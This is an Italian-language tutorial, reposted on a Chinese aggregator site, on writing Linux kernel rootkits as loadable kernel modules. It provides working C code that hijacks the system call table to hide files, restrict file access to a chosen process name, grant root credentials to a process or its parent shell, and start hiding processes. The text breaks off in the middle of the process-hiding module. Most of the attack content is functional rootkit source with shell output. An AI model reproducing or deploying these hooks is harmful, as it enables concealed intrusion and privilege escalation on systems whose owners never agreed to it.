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Linux Evil Programming

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了Linux Evil Programming，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含145780字，纯文字阅读大概需要209分钟。

内容图文

原文链接：http://www.cnblogs.com/cybertitan/archive/2012/07/31/2616529.html Questa opera ? coperta dalla
Creative commons Attribution-NonCommercial-ShareAlike License
E' possibile ottenere una copia di questa licenza visitando

http://creativecommons.org/licenses/by-nc-sa/2.0/

od inviando una lettera a

Creative Commons, 559 Nathan Abbott Way
Stanford, California 94305, USA







ATTENZIONE:Da ora in poi inizier? il porting di lkepd per il kernel 2.6, pertanto le nuove tecniche che troverete
saranno testate unicamente per quest'ultimo. Aggiorner? pian piano tutte le sezioni in base al mio tempo
libero, perci? potrete trovare sia cosa specifiche dei 2.4 che dei 2.6.
L'ultima versione esclusiva per 2.4 sar? disponibile sempre sul mio sito QUI

REQUISITI TECNICI: un minimo di programmazione C

 








L.K.E.P.D


Linux Kernel Evil Programming Demystified (Version 1.6)

 

 




Scritto da Pierre "Dark-Angel" Falda < darkangel [at] antifork [dot] org >


INDICE


 

" For reasons of efficiency, Linux is not coded in a object-oriented language like C++ "


- Understanding Linux Kernel 2nd Edition

 





- 1.1 INTRODUZIONE

In questa guida sono spiegate dettagliatamente le tecniche per la manomissione del kernel
di linux che a mio avviso sono piu utili e danno i risultati migliori.
Il tutto ? applicato alla scrittura di un rootkit ed ai sistemi per bypassare alcuni software
di sicurezza che lavorano per l'appunto sul kernel.
Questa guida ? stata scritta per chi non conosce ancora niente o quasi a riguardo e
vorrebbe imparare. Troverete spiegazioni ed implementazioni spiegate nei dettagli
in modo che veramente chiunque possa avvicinarsi quasi senza sforzo a questo genere di programmi.
Ovviamente anche se siete degli amministratori di sistema un'occhiata non vi guasterebbe, potreste
pensare a nuove soluzioni per proteggere i vostri sistemi od anche solo per rendervi conto se
il vostro sistema ? realmente sicuro.
Non ho messo tutto lo scibile a riguardo, ? soltanto una prima versione, ma se vedessi che il mio
lavoro viene apprezzato potrei ampliarla :)
Chiunque voi siate, ricordate che questo materiale ? qui a scopo puramente informativo e che
io non sono responsabile di quello che potreste fare con le informazioni qui contenute.
Detto questo, buona lettura!

 

- 1.2 LE BASI

Contrariamente ai rootkit user space, quelli kernel space sono decisamente
piu' difficili da scovare, piu' efficaci e, aspetto non indifferente, notevolmente
piu' piccoli. Unico neo, la portabilita', ma nulla e' portabile al 100%
ovunque. Inoltre, non esistono software che siano in grado di
rilevarli tutti, e quelli che ci sono hanno ampi margini di errore, ma
di questo discuteremo in seguito.
L'hacking a kernel space viene effettuato praticamente nella totalita'
dei casi attraverso LKMs, ovvero Loadable Kernel Modules.
I moduli sono utilizzati dal kernel per ampliare le proprie funzionalita',
possono essere caricati in qualsiasi momento dal root od anche dal kernel
stesso qualora ne avesse bisogno. Attraverso i moduli possiamo aggiungere
supporti al kernel senza doverlo necessariamente ricompilare, tant'e' che
molti device drivers sono realizzati tramite moduli.
Ora vediamone la struttura. Ogni modulo ha perlomeno due funzioni:

int init_module(void) 
void cleanup_module(void)

L'init_module e' la funzione che viene eseguita al momento del caricamento
del modulo nel kernel, la cleanup_module quella che viene eseguita alla
sua rimozione. A parte questo la loro struttura e' come quella di un
qualsiasi altro programma. Cambiano solo alcune cose dovute al fatto che
stiamo lavorando a kernel space e non ad user space, ma le vedremo gradatamente
strada facendo.
Un esempio credo sia piu' utile di mille parole, percio' proviamo a stampare
"ciao mondo" con un modulo. Non preoccupatevi se non capite il senso di alcuni
pezzi di codice, verranno spiegati in seguito.

 

#define __KERNEL__ 
#define MODULE 
#define LINUX 
#ifdef CONFIG_MODVERSIONS 
#define MODVERSIONS 
#include <linux/modversions.h> 
#endif 

#include <linux/module.h> 
#include <linux/kernel.h> 
/* Include per i moduli */ 

int init_module(void) { 
printk("<1>Ciao Mondo\n"); 
return 0; 
} 
void cleanup_module(void) { 
printk("<1>Modulo rimosso\n"); 
} 

I primi tre #define servono semplicemente per dire che questo e' un modulo.
CONFIG_MODVERSIONS e' stato creato per far si' che si possa caricare il modulo
in qualsiasi kernel, restando consci del fatto che il caricamento fallira' se una
qualsiasi struttura, tipo o funzione che il modulo usa e' cambiata.
Se il kernel non e' stato compilato con CONFIG_MODVERSIONS si potranno caricare
solamente moduli che sono stati compilati specificatamente per quel kernel e senza
il MODVERSIONS abilitato.
Se invece e' stato compilato con CONFIG_MODVERSIONS abilitato si potranno caricare
moduli compilati per quel kernel con MODVERSIONS disabilitato, ma saremo anche in grado
di caricare moduli con MODVERSIONS attivo fin quando le API che utilizza il modulo
non cambieranno.
Printk e' l'equivalente a kernel space della printf. I numeretti tra <> sono
opzionali e servono per indicare la priorita' del messaggio che verra' stampato.
Esistono 9 livelli e piu' il numero e' basso piu' indica una priorita' alta.
Bene, ora compiliamo

Vortex:~# gcc -c -I /usr/src/linux/include -O3 hello.c -o hello.o

Notate che dobbiamo abilitare l'ottimizzazione del gcc con -O perche' molte funzioni
sono dichiarate inline[1] negli header e gcc non le espande senza ottimizzazione.
A questo punto possiamo:
Inserire il modulo col comando "insmod"
Guardare i moduli presenti nel kernel col comando "lsmod"
Rimuovere il nostro modulo col comando "rmmod"[2]

Vortex:~# insmod hello.o
Ciao Mondo
Vortex:~# lsmod
Module Size Used by Not tainted
hello 272 0 (unused)
Vortex:~# rmmod hello
Modulo rimosso

[Se state eseguendo questo da una sessione X probabilmente non riceverete output, questo
per via della configurazione di klogd. Usate dmesg per vedere i messaggi del kernel
e dovrebbero apparire anche le scritte]

Altri due concetti molto importanti sono la Kernel Symbol Table e quello di Syscall.
Nel contesto della programmazione un simbolo e' un blocco costituente di un programma,
puo' essere il nome di una variabile o di una funzione, ed il kernel non fa eccezione.
In /proc/ksyms possiamo leggere tutti i simboli esportati [ovvero pubblici] del kernel,
a cui possiamo accedere dai nostri moduli. Quando inseriamo un modulo tutti i suoi
simboli diventano pubblici, cosa che nel nostro contesto e' da evitare assolutamente,
percio' ricordatevi di utilizzare la macro EXPORT_NO_SYMBOLS per evitarlo.

Ogni sistema operativo ha delle funzioni all'interno del suo kernel che vengono utilizzate
per praticamente tutte le operazioni. Quelle funzioni sono le syscall, possiamo vederle come
un'interfaccia con il kernel. Potete trovare la loro lista completa in <bits/syscall.h>
Naturalmente non occorre ricordarle tutte, vedremo man mano quelle che serviranno e come
individuare syscall interessanti.
Facciamo subito un esempio, mettiamo di voler creare un modulo che impedisca la creazione
di directory con la sottostringa "admin" nel nome.
Innanzitutto controlliamo con "strace" cosa succede quando utilizziamo il comando mkdir
per creare una directory:

Vortex:~# strace mkdir pippo
execve("/bin/mkdir", ["mkdir", "pippo"], [/* 24 vars */]) = 0
uname({sys="Linux", node="Vortex", ...}) = 0
brk(0) = 0x804cd48
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=24152, ...}) = 0
old_mmap(NULL, 24152, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40012000
close(3) = 0
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\275Z\1"..., 1024) = 102
4
fstat64(3, {st_mode=S_IFREG|0755, st_size=1104040, ...}) = 0
old_mmap(NULL, 1113796, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000
mprotect(0x40120000, 32452, PROT_NONE) = 0
old_mmap(0x40120000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x10
7000) = 0x40120000
old_mmap(0x40126000, 7876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONY
MOUS, -1, 0) = 0x40126000
close(3) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
x40128000
munmap(0x40012000, 24152) = 0
brk(0) = 0x804cd48
brk(0x804dd48) = 0x804dd48
brk(0) = 0x804dd48
brk(0x804e000) = 0x804e000
umask(0) = 022
umask(022) = 0
mkdir("pippo", 0777) = 0
exit_group(0) = ?

Come potete vedere nella penultima riga, abbiamo una chiamata dal nome
piuttosto interessante. Proviamo a guardare nella man page:

int mkdir(const char *pathname, mode_t mode);

ottimo,corrisponde, proviamo ad intercettare la sys_mkdir allora.
Intercettare una syscall e' molto semplice:
innanzitutto nel nostro modulo dovremo dichiarare la sys_call_table come extern,
e' un simbolo esportato percio' sara' risolto al momento dell'inserimento da insmod.
Ma che cos'e' la sys_call_table? La sys call table e' un array di puntatori
dove ciascun campo contiene un puntatore ad una sys call. Chiaramente modificando
uno qualsiasi di questi campi si va a cambiare la funzione che verra' chiamata quando
quella sys call verra' invocata. Ad esempio, se il puntatore in sys_call_table[0] punta
alla funzione "true_func", cambiandolo e facendolo puntare a "fake_func" fara' in modo
che quando la sys call numero 0 verra' invocata la funzione ad essere eseguita sara'
fake_func e non true_func.
In secondo luogo dobbiamo dichiarare un puntatore a funzione, che faremo puntare alla
sys call originale, in modo da poterla utilizzare una volta sostituito il puntatore nella
sys call table con uno ad una nostra funzione.
Eccone l'implementazione:

#define __KERNEL__
#define MODULE
#define LINUX
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <string.h>

extern void *sys_call_table[];
/* Va dichiarata come extern per poterci accedere */

int (*old_mkdir)(char *, int);
/* Useremo questo puntatore a funzione per
* memorizzare l'indirizzo della syscall originale
*/


int new_mkdir(char *name,int mode) {

if(strstr(name,"admin"))
return -1;

return old_mkdir(name,mode);
/* Nel caso non ci sia "admin" nel nome
* richiama la syscall originale per completare
* il lavoro
*/
}

int init_module(void) {

old_mkdir=sys_call_table[SYS_mkdir];
/* Ora old_mkdir punta alla sys_mkdir originale */

sys_call_table[SYS_mkdir]=new_mkdir;
/* Il puntatore alla sys_mkdir nella table viene sovrascritto
* con l'indirizzo della nostra funzione
*/

EXPORT_NO_SYMBOLS;
/* Ricordate? Non dobbiamo esportare simboli */


return 0;
}

void cleanup_module(void) {

sys_call_table[SYS_mkdir]=old_mkdir;
/* Ripristiniamo il valore corretto nella table */

}

Come potete vedere intercettare una syscall e' estremamente semplice.
Inseriamo il modulo e proviamo a creare la directory pippoadmin:

Vortex:~# insmod noadm.o
Vortex:~# mkdir /tmp/pippoadmin
mkdir: cannot create directory `pippoadmin': Operation not permitted
Vortex:~#

Magnifico, sembra che funzioni, ora rimuoviamolo e riproviamo:

Vortex:~# rmmod noadm
Vortex:~# mkdir pippoadmin
Vortex:~#

perfetto.

 

 


Note:

[1] Tuttavia un'ottimizzazione superiore a -O2 puo' essere rischiosa perche' il compilatore
puo' espandere come se fossero inline funzioni che non lo sono. Questo e' un problema
perche' certe funzioni si aspettano una determinata struttura dello stack quando vengono chiamate

[2] Ovviamente e' possibile rimuovere un modulo solamente quando il suo usage count e' pari a zero


- 1.3 COME NASCONDERE UN FILE

Ecco, ora iniziano le cose divertenti. Innanzitutto, come ho precedentemente detto, dobbiamo ricorrere
a strace per vedere che syscall vengono chiamate durante l'esecuzione del comando.

(Tralascio gran parte dell'output in quanto non rilevante)

Vortex:~# strace ls
.
.
.
getdents64(3, /* 2 entries */, 4096) = 48
.
.
Vortex:~#

Proviamo a controllare il man cosa ci dice circa questa funzione:[1]

getdents - get directory entries

Ottimo,esattamente quello che cercavamo[2].
Ora guardiamo il prototipo di un'ipotetica getdents64 ed analizziamone i parametri: [3]

int n_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)

fd: e' il file descriptor da cui la funzione andra' a leggere

dirp: e' la zona di memoria in cui la funzione andra' a scrivere le varie
struct linux_dirent64 lette

count: e' la dimensione della zona di memoria dove andremo a scrivere.

Una struttura linux_dirent64 e' l'equivalente a 64 bit della struttura dirent, che in parole
povere, non e' altro che la rappresentazione di un file.

struct linux_dirent64 {
u64 d_ino; /* Inode (per ora non pensateci, ne parleremo in seguito) */
s64 d_off; /* Offset alla prossima entry */
unsigned short d_reclen; /* Lunghezza di questa entry */
unsigned char d_type; /* Tipo dell'entry: directory, file normale, socket... */
char d_name[0]; /* Puntatore all'inizio del nome */
}

Quello che dovremo fare percio' sara':

1) Redirigere la sys_getdents64 
2) Chiamare la sys_getdents64 originale e passargli i parametri che abbiamo ottenuto tramite
le redirezione
3) Filtrare i risultati e far sparire le cose scomode

Ricordiamoci pero' che noi andremo a modificare la sys call chiamata dalla funzione
user space getdents, non la funzione stessa! Sembra un'inezia, ma c'e' una grossa
differenza: le syscall lavorano a kernel space mentre le funzioni con le quali
siamo abituati ad operare lavorano ad userspace. Come potete immaginare da kernel space 
non possiamo accedere direttamente alla memoria user space che, guarda caso, e' dove
verranno memorizzati i risultati della nostra chiamata alla sys_getdents64 originale.
Fortunatamente il kernel ci viene incontro, ma vedremo dopo.

Per il punto 1 ed il punto 2 della nostra lista non ci dovrebbero essere problemi,
e' esattamente quello che abbiamo fatto prima con la mkdir, mentre per il punto 3
potremmo semplicemente guardare tutte le strutture che la sys_getdents64 mettera'
nel buffer per noi ed eliminare quelle scomode. Vediamone una possibile implementazione: 

#define __KERNEL__
#define MODULE
#define LINUX
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <linux/mm.h>
#include <asm/uaccess.h>
#include <sys/syscall.h>

struct linux_dirent64 {
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[0];
};

extern void *sys_call_table[];
char *hide = "dark_"; /* Tutti i files aventi questo prefisso nel nome saranno invisibili */
long (*o_getdents64) (unsigned int fd,
struct linux_dirent64 * dirp,
unsigned int count);

long
n_getdents64(unsigned int fd, struct linux_dirent64 *dirp,
unsigned int count)
{
struct linux_dirent64 *dir,*ptr,
*tmp,
*prev = NULL;
long i,rec=0,
ret = (*o_getdents64) (fd, dirp, count);
if (ret <= 0)
return ret; /* In caso di errore ci limitiamo a restituirlo */

/* Allochiamo della memoria a kernel space tramite la funzione kmalloc, come 
potete immaginare e' l'equivalente a kernel della malloc. Dobbiamo dirgli
quanta memoria e di che "tipo", noi dovremo mettere sempre il valore
GFP_KERNEL
Qui kmallochiamo "ret" bytes, ovvero esattamente il numero che ci ha
restituito la funzione originale
*/
if ((tmp = (struct linux_dirent64 *) kmalloc(ret, GFP_KERNEL)) == NULL)
return ret;

/* Ecco qui la soluzione all'inghippo kernel space <-> user space: abbiamo 2 funzioni,
la copy_from_user e la copy_to_user che si occupano di copiare dati da/a user space
Noi copieremo a kernel space i dati restituiti ad user space dalla funzione originale
*/

copy_from_user(tmp, dirp, ret);
ptr= dir = tmp;
i = ret;

/* Ecco il ciclo principale del programma: 
abbiamo un puntatore alla prima entry e la esaminiamo, nel caso non la riconosca (tramite strncmp)
come indesiderata incrementa il puntatore di d_reclen bytes (ovvero la dimensione dell'entry
in esame) ed il ciclo continua. Nel caso opposto invece viene aumentata la dimensione dell'entry
precedente di un numero di bytes pari alla dimensione della corrente, poi azzeriamo la memoria
occupata dall'entry corrente. In caso dovessimo rimuovere la prima della lista dobbiamo solo
incrementare il puntatore e diminuire il numero di bytes da ritornare, tagliando cosi via il primo
risultato. Il ciclo continua fino a che il numero di bytes analizzati e' minore rispetto al numero
di quelli ritornati dalla sys_getdents64 originale
*/

while (((unsigned long ) dir) < (((unsigned long) tmp) + i)) {
rec=dir->d_reclen;
if (strncmp(hide, dir->d_name,strlen(hide))==0) {
if (!prev) {
ret -= rec;
ptr =
(struct linux_dirent64 *) (((unsigned long) dir) +rec);
} else {

prev->d_reclen += rec;
memset(dir, 0, rec);

}
} else
prev = dir;
dir=(struct linux_dirent64 *)(((unsigned long)dir)+rec);

}
/* Copiamo ad user space il risultato */
copy_to_user(dirp,ptr,ret);

/* Liberiamo la memoria kmallocata */
kfree(tmp);

return ret;

}

int
init_module(void)
{
o_getdents64 = sys_call_table[SYS_getdents64];
sys_call_table[SYS_getdents64] = n_getdents64;
return 0;
}
void
cleanup_module(void)
{
sys_call_table[SYS_getdents64] = o_getdents64;
}
/* 
Questa linea serve dai 2.4.9 in avanti, nel caso la omettessimo
il kernel risulterebbe "tainted". Se il vostro kernel e' precedente 
rimuovetela pure
*/
MODULE_LICENSE("GPL");


Vortex:~# touch dark_test
Vortex:~# ls
drwxrwxrwt 5 root root 4096 Feb 9 21:05 ./
drwxr-xr-x 22 root root 4096 Feb 6 05:20 ../
-rw-r--r-- 1 root root 0 Feb 9 21:06 dark_test
Vortex:~# gcc -c -O3 -I /usr/src/linux/include/ hide.c -o hide.o
Vortex:~# insmod hide.o
Vortex:~# ls
drwxrwxrwt 5 root root 4096 Feb 9 21:05 ./
drwxr-xr-x 22 root root 4096 Feb 6 05:20 ../
Vortex:~#

Ok, funziona. NB: il file non sara' visibile in questo modo, ma sara' comunque
visibile/accessibile per operazioni/applicazioni che lo bersagliano direttamente, quali cat
ad esempio. Come fare per evitare anche questo lo vedremo fra poco.

Note:
[1] getdents e getdents64 sono equivalenti ai nostri scopi, e' documentata la getdents ma nei kernel recenti
viene utilizzata la getdents64.
[2] Per informazioni piu' specifiche su questa funzione guardate il manuale
[3] La variazione dei parametri e' fatta osservando la sys_getdents64 nel file fs/readdir.c
dei sorgenti del kernel


- 2.1 RENDERE INACCESSIBILE UN FILE

Come potete immaginare impedire l'accesso ad un file non e' nulla di
complesso, basta semplicemente redirigere la sys_open ed effettuare
un controllo come nella ridirezione della sys_mkdir di esempio. Cosi
facendo pero' non potremmo accederci nemmeno noi, percio' dobbiamo
escogitare un qualche sistema che ci permetta di farlo senza problemi.
Potremmo, ad esempio, far si' che solo un determinato processo possa
aprire il file o, meglio ancora, far si' che solo un determinato utente
possa farlo. In linux/sched.h dei sorgenti del kernel e' definita una
struttura _estremamente_ interessante, la struct task_struct. Questa
rappresenta la struttura di un processo in memoria e contiene informazioni
come il nome del processo, i suoi privilegi e molto altro. Per ovvi motivi
non posso spiegarvi tutta la struttura, ne parlero' solo un po' per volta
in base a quello che ci servira'.[1] Ora, mettiamo il caso di voler far
si' che solo un programma che si chiami "pippo" possa aprire il file.
Dovremo:

1) Redirigere la sys_open
2) Controllare il file che sta cercando di aprire
3) Se il file e' nascosto ed il programma che sta cercando di accederci
si chiama pippo attiviamo la open originale, altrimenti ritorniamo
un errore.

Sembra facile, ma come facciamo a sapere quale programma sta tentando
di accederci? Basta controllare il campo della task_struct che rappresenta
il processo corrente che ne contiene il nome, precisamente il campo comm.
Percio' bastera' un semplicissimo strcmp(processo->comm,"pippo") per
effettuare questo controllo. Il problema ora sembrerebbe trovare in memoria
qual e' la task_struct che rappresenta il processo corrente, ma fortunatamente
il kernel ci viene in aiuto fornendoci un puntatore al processo corrente
che si chiama "current". Percio' il nostro controllo si trasformera' in
strcmp(current->comm,"pippo").
Vediamo una piccola implementazione di quando detto fin'ora.



#define __KERNEL__
#define MODULE
#define LINUX
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/sched.h>

char *hide = "mio_";
int (*o_open)(char *,int,int);
extern void * sys_call_table[];
int n_open(char *path,int flags, int mode) {

if(strstr(path,hide)&& strcmp(current->comm,"pippo"))
return -ENOENT;
return o_open(path,flags,mode);
}

int
init_module(void)
{
o_open = sys_call_table[SYS_open];
sys_call_table[SYS_open] = n_open;
EXPORT_NO_SYMBOLS;
return 0;
}
void
cleanup_module(void)
{
sys_call_table[SYS_open] = o_open;
}
MODULE_LICENSE("GPL");


Proviamolo:
Vortex:~# gcc -c -O3 -I /usr/src/linux/include/ access.c -o access.o
Vortex:~# echo ciao > mio_test
Vortex:~# cat mio_test
ciao
Vortex:~# insmod access.o
Vortex:~# cat mio_test
cat: mio_test: No such file or directory
Vortex:~# cp /bin/cat ./pippo
Vortex:~# ./pippo mio_test
ciao
Vortex:~#

:)

[2]
- 2.2 CONSIDERAZIONI

Con l'introduzione della task_struct ed in particolare di current abbiamo
messo a nostra disposizione un potente mezzo per realizzare ogni sorta di
nefandezza: pensate ad esempio al modulo di poco fa, volendo avremmo potuto
cambiare i diritti di accesso del processo corrente per renderlo capace di
aprire files a cui normalmente non avrebbe potuto accedere:

int n_open(char *path,int flags, int mode) {

if (strcmp(current->comm,"pippo")==0)
{
current->uid=
current->euid=
current->gid=
current->egid=
current->suid=
current->sgid=
current->fsuid=
current->fsgid=
current->groups[0]=0;
}
return o_open(path,flags,mode);
}

Et voila' :)
Con un po' di fantasia si puo' fare qualunque cosa, ad esempio si potrebbe
modificare una syscall in modo tale che se lanciata con determinati parametri
nasconda un file, cambi i permessi di un processo o nasconda un altro processo.
Grazie all'accoppiata current/syscall ora siamo in grado di creare dei primitivi
sistemi di occultamento generalizzati: molti rootkit del passato ad esempio,
utilizzando l'hooking della sys_write e controllando che il nome del processo
fosse "netstat", nascondevano determinate connessioni alla vista
dell'amministratore impedendo al processo di "scriverle". Una tecnica molto simile a questa veniva inoltre utilizzata per nascondere delle parti di files: se ad esempio chi sta provando a leggere non ha un euid particolare certe stringhe non venivano mostrate. Ovviamente questonon e' l'approccio corretto al problema in quanto facilmente bypassabile
anche solo cambiando nome al programma, ma dovrebbe contribuire a darvi
un'idea di che cosa si riesce a fare.

- 2.3 ANCORA SUI PROCESSI

Vediamo ora in maniera un poco piu' approfondita il "processo".
Linux memorizza i processi in una lista a doppia percorrenza (cioe' che puo'
essere scorsa in entrambi i sensi) di strutture task_struct. Direttamente
da sched.h: struct task_struct *next_task, *prev_task;
Come dicono i nomi stessi delle variabili, quelli sono rispettivamente
il puntatore al processo seguente nella lista ed a quello precedente.
Percio', ad esempio, per scorrere tutti i processi del sistema bastera'
fare una cosa di questo tipo:

struct task_struct *ptr=current;

do {
printk("Processo %s\n",ptr->comm);
ptr=ptr->next_task;
}
while(ptr!=current);

Ma come nasce un processo? Semplificando molto, un processo viene
"copiato" da un altro ad opera della sys_fork, poi viene "sovrascritto"
con le nuove informazioni dalla sys_execve. Il processo da cui il nuovo
nato e' stato copiato diventa suo "padre" mentre lui stesso diventa un
"figlio" di suo padre. Ad esempio, se da una shell lanciamo il comando
"ps" il processo della shell sara' il padre di ps.

int n_open(char *path,int flags, int mode) {

if (strcmp(current->comm,"pippo")==0)
{
current->p_pptr->uid=
current->p_pptr->euid=
current->p_pptr->gid=
current->p_pptr->egid=
current->p_pptr->suid=
current->p_pptr->sgid=
current->p_pptr->fsuid=
current->p_pptr->fsgid=0;
current->p_pptr->groups[0]=0;
}
return o_open(path,flags,mode);
}

Modificando in questo modo il codice di poco fa si cambiano i diritti del
padre di pippo. Ovviamente nel caso in cui il padre sia una shell, l'esecuzione
di pippo la rendera' una shell root :)


- 2.4 COME NASCONDERE I PROCESSI

Vortex:~# strace ps
.
.
open("/proc", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 5
.
.
getdents64(5, /* 36 entries */, 1024) = 1016
.
.
Vortex:~#

Come potete vedere viene aperta la directory /proc e viene letto il suo
contenuto. Successivamente le informazioni vengono "raffinate" ed infine
stampate sullo schermo. Proviamo ad andare in /proc ed a vedere cosa c'e':

Vortex:/proc# ls
total 4
dr-xr-xr-x 67 root root 0 Feb 19 15:18 ./
drwxr-xr-x 22 root root 4096 Feb 6 05:20 ../
dr-xr-xr-x 3 root root 0 Feb 20 02:14 1/
dr-xr-xr-x 3 root root 0 Feb 20 02:14 11/
dr-xr-xr-x 3 root root 0 Feb 20 02:14 1841/
dr-xr-xr-x 3 root root 0 Feb 20 02:14 1903/
.
.
.
Vortex:/proc# cd 1841/
Vortex:/proc/1841# ls
total 0
dr-xr-xr-x 3 root root 0 Feb 20 02:15 ./
dr-xr-xr-x 65 root root 0 Feb 19 15:18 ../
-r--r--r-- 1 root root 0 Feb 20 02:15 cmdline
lrwxrwxrwx 1 root root 0 Feb 20 02:15 cwd -> /root/
-r-------- 1 root root 0 Feb 20 02:15 environ
lrwxrwxrwx 1 root root 0 Feb 20 02:15 exe -> /usr/bin/vim*
dr-x------ 2 root root 0 Feb 20 02:15 fd/
-r--r--r-- 1 root root 0 Feb 20 02:15 maps
-rw------- 1 root root 0 Feb 20 02:15 mem
-r--r--r-- 1 root root 0 Feb 20 02:15 mounts
lrwxrwxrwx 1 root root 0 Feb 20 02:15 root -> //
-r--r--r-- 1 root root 0 Feb 20 02:15 stat
-r--r--r-- 1 root root 0 Feb 20 02:15 statm
-r--r--r-- 1 root root 0 Feb 20 02:15 status
Vortex:/proc/1841#

Come potete vedere in /proc ci sono delle directory dal nome composto da
numeri, ed all'interno ci sono informazioni su processi. Il nome corrisponde
al pid del processo e le informazioni contenute all'interno della rispettiva
directory come potete immaginare si riferiscono a lui. Questo e' il "proc file
system", un file system virtuale esistente interamente a kernel space utilizzato
per lo scambio di informazioni. Parleremo in seguito del procfs, per ora basta
che abbiate capito come funziona ps: legge da proc i processi esistenti, ne
prende le informazioni richieste e stampa a schermo. Ancora una volta percio'
la syscall che ci interessa e' la sys_getdents64. Questa volta pero' faremo
qualcosa di piu', implementeremo anche un sistema per attivare/disattivare
l'occultamento di un processo a richiesta.
Innanzitutto dobbiamo prima imparare a capire se ci troviamo in /proc, in modo
da sapere se attivare o no il filtraggio dell'output della getdents64 reale.
Per far questo introduciamo un'altra cosa, l'inode, esattamente lo stesso che
ho detto che avrei spiegato in seguito quando stavo parlando della struttura
linux_dirent64. Vi siete mai chiesti come venga effettivamente memorizzato
un file sul filesystem, come faccia il sistema a sapere dove andare
effettivamente a cercare i bit che lo compongono dal disco rigido o dove sono
memorizzate informazioni tipo la sua dimensione? La risposta e' l'inode.
Ad ogni inode corrisponde un file e viceversa, possiamo dire che un file e'
il suo inode. Percio' bastera' controllare se l'inode associato al file
descriptor che viene passato come parametro alla getdents64 e' quello di
/proc e sapremo se attivare o no il filtraggio. Per riconoscere i
processi da nascondere invece useremo il campo "flags" della task_struct.
Creeremo una maschera ad hoc che metteremo/toglieremo a richiesta attraverso
gli operatori binari | e &. La nostra funzione controllera' la presenza o meno
di questa maschera, cosi' da capire se si trova di fronte un processo nascosto
oppure ad uno "regolare".
Esempio:

 

#define MASK 0x1
int main(void) {
int pippo=0;
pippo|=MASK; // <- Inserisce la mask
if ((pippo&MASK)==MASK) // <- Ne controlla la presenza
printf("Mask presente\n");
else
printf("Mask assente\n");
pippo&=~MASK; // <- Toglie la mask

if ((pippo&MASK)==MASK)
printf("Mask presente\n");
else
printf("Mask assente\n");
return 0;
}

 

Vortex:~# gcc mask.c -o mask
Vortex:~# ./mask
Mask presente
Mask assente
Vortex:~#

Ora credo che sia chiaro il funzionamento del controllo che andremo ad
effettuare, percio' ora ecco il codice:

 

#define __KERNEL__
#define MODULE
#define LINUX
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <linux/mm.h>
#include <asm/uaccess.h>
#include <sys/syscall.h>
#include <linux/proc_fs.h>
#include <linux/smp_lock.h>
struct linux_dirent64 {
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[0];
};

extern void *sys_call_table[];

#define PF_INVISIBLE 0x20000000 // La nostra mask
#define HIDESIG 333 // Il segnale che useremo per nascondere un processo
#define UNHIDESIG 666 // Quello che useremo per farlo tornare visibile

long (*o_getdents64) (unsigned int fd,
struct linux_dirent64 * dirp,
unsigned int count);
int (*o_kill)(int pid, int sig);
/* Sfrutteremo la sys_kill per impartire ordini al nostro modulo */

int n_atoi(char *str) {
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
{ if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return (res);
} 
/* Una reimplementazione della funzione atoi, ci servira'
per capire che processo stiamo analizzando */

struct task_struct *get_task(int pid) {
struct task_struct *run=current;
do {
if(run->pid==pid)
return run;
run=run->next_task;
}
while(run!=current); 

return NULL;
}
/* Scorriamo la lista dei processi alla ricerca di quello col
pid uguale al parametro passato */


long
n_getdents64(unsigned int fd, struct linux_dirent64 *dirp,
unsigned int count)
{
struct linux_dirent64 *dir,*ptr,
*tmp,
*prev = NULL;
long i,rec=0,
ret;
struct inode *inode;
struct task_struct *name; 
ret = (*o_getdents64) (fd, dirp, count);
if (ret <= 0)
return ret;
if ((tmp = (struct linux_dirent64 *) kmalloc(ret, GFP_KERNEL)) == NULL)
return ret;
copy_from_user(tmp, dirp, ret);
ptr= dir = tmp;
i = ret;

/* Eccoci qui, con questa riga andiamo a scoprire quale inode e' associato
al file descriptor che ci e' stato passato. 
Da current si passa a files, una struttura di supporto, da li' si accede al
campo fd che un array di puntatori a strutture file che indicizziamo col
valore del nostro file descriptor. Praticamente cosi accediamo alla
struttura file associata a quel file descriptor. Una struttura file e' la 
rappresentazione a kernel space di un "file aperto". In sostanza, quando un
nostro programma fa una open ne viene creata una. Da li accediamo al
dentry (directory entry) un'altra struttura di supporto che tra le altre
cose contiene il numero dell'inode, proprio quello che stavamo cercando :)
*/

inode = current->files->fd[fd]->f_dentry->d_inode;
/* Controlliamo se l'inode e' equivalente a quello di proc */
if(inode->i_ino== PROC_ROOT_INO) {
while (((unsigned long ) dir) < (((unsigned long) tmp) + i)) {
rec=dir->d_reclen;
/* Ricordate? I nomi delle directory in proc rappresentavano il
